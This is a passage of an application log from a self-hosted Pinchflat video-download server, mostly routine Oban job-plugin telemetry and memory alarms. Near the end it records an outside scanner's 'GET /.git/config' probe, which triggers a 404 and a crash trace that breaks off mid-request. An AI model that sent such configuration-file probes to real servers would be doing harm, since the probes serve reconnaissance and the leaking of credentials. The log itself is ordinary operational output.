{"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:12.524 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:42.526 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.624 [info] {"source":"oban","duration":6274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:12.528 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:42.530 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.626 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:12.532 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:42.535 [info] {"source":"oban","duration":2300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.628 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:12.537 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:32.889 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 01:39:42.539 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.630 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:12.541 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:42.543 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.633 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:12.545 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:42.547 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.636 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:12.551 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:42.554 [info] {"source":"oban","duration":2435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.637 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:12.556 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:42.559 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.639 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:12.561 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:42.564 [info] {"source":"oban","duration":1848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.644 [info] {"source":"oban","duration":3330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:12.566 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:42.568 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.647 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:12.571 [info] {"source":"oban","duration":2185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:42.573 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.650 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:12.578 [info] {"source":"oban","duration":3843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:42.580 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.651 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:12.582 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:42.584 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.653 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:12.586 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:42.588 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.654 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:12.591 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:42.596 [info] {"source":"oban","duration":4356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.658 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:12.598 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:42.600 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.663 [info] {"source":"oban","duration":3431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:12.604 [info] {"source":"oban","duration":2132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:42.606 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.664 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:12.609 [info] {"source":"oban","duration":2422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:42.611 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.669 [info] {"source":"oban","duration":3097,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:12.613 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:42.616 [info] {"source":"oban","duration":1854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.672 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:12.618 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:32.974 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 01:55:42.620 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.673 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:12.624 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:42.626 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.674 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:12.628 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:42.631 [info] {"source":"oban","duration":2091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.675 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:12.633 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:42.635 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.677 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:12.637 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:42.639 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.677 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:12.642 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:42.643 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.680 [info] {"source":"oban","duration":1894,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:12.645 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:42.647 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.681 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:12.649 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:42.651 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.687 [info] {"source":"oban","duration":5081,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:12.653 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:33.005 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 02:03:42.655 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.688 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:12.662 [info] {"source":"oban","duration":6300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:42.664 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.689 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:12.666 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:42.668 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.697 [info] {"source":"oban","duration":6662,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:12.671 [info] {"source":"oban","duration":2301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:42.674 [info] {"source":"oban","duration":2275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.699 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:12.676 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:42.678 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.703 [info] {"source":"oban","duration":2387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:12.680 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:42.682 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.705 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:12.684 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:42.686 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.706 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:12.690 [info] {"source":"oban","duration":3498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:42.692 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.708 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:12.694 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:42.696 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.709 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:12.698 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:42.700 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.710 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:12.702 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:42.705 [info] {"source":"oban","duration":2496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.715 [info] {"source":"oban","duration":3707,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:12.708 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:42.712 [info] {"source":"oban","duration":3751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.718 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:12.714 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:42.718 [info] {"source":"oban","duration":3007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.720 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:12.724 [info] {"source":"oban","duration":5030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:33.073 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 02:16:42.727 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.721 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:12.728 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:42.731 [info] {"source":"oban","duration":1751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.723 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:12.733 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:42.735 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.723 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:12.737 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:42.738 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.724 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:12.740 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:42.742 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.727 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:12.744 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:42.746 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.731 [info] {"source":"oban","duration":2488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:12.748 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:42.750 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.737 [info] {"source":"oban","duration":3974,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:12.752 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:42.754 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.743 [info] {"source":"oban","duration":4395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:12.756 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:33.106 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 02:24:42.758 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.744 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:12.760 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:42.764 [info] {"source":"oban","duration":2833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.746 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:12.767 [info] {"source":"oban","duration":1964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:42.770 [info] {"source":"oban","duration":2226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.752 [info] {"source":"oban","duration":2881,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:12.772 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:42.774 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.755 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:12.776 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:42.779 [info] {"source":"oban","duration":2239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.758 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:12.781 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:42.783 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.759 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:12.785 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:42.787 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.766 [info] {"source":"oban","duration":5886,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:12.789 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:42.791 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.769 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:12.793 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:42.795 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.773 [info] {"source":"oban","duration":2591,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:12.798 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:42.803 [info] {"source":"oban","duration":3909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.773 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:12.805 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:33.146 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 02:34:42.808 [info] {"source":"oban","duration":1750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.775 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:12.809 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:42.811 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.775 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:12.815 [info] {"source":"oban","duration":2845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:42.817 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.776 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:12.818 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:42.820 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.778 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:12.822 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:42.824 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.782 [info] {"source":"oban","duration":3446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:12.826 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:33.174 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 02:39:42.828 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.788 [info] {"source":"oban","duration":4524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:12.832 [info] {"source":"oban","duration":3023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:42.835 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.789 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:12.843 [info] {"source":"oban","duration":3779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:42.845 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.796 [info] {"source":"oban","duration":5971,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:12.847 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:33.186 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 02:42:42.849 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.801 [info] {"source":"oban","duration":2369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:12.851 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:42.853 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.803 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:12.855 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:42.858 [info] {"source":"oban","duration":2442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.805 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:12.873 [info] {"source":"oban","duration":14176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:42.875 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:45.031 [info] GET /.git/config 02:45:45.078 [debug] QUERY OK source="settings" db=2.2ms idle=1001.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:45:45.086 [debug] QUERY OK source="settings" db=5.0ms queue=0.1ms idle=1010.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:45:45.093 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:45:45.098 [error] #PID<0.13295.0> running PinchflatWeb.Endpoint (connection #PID<0.13294.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.13294.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 64962}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.154", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.13295.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 (Windows NT 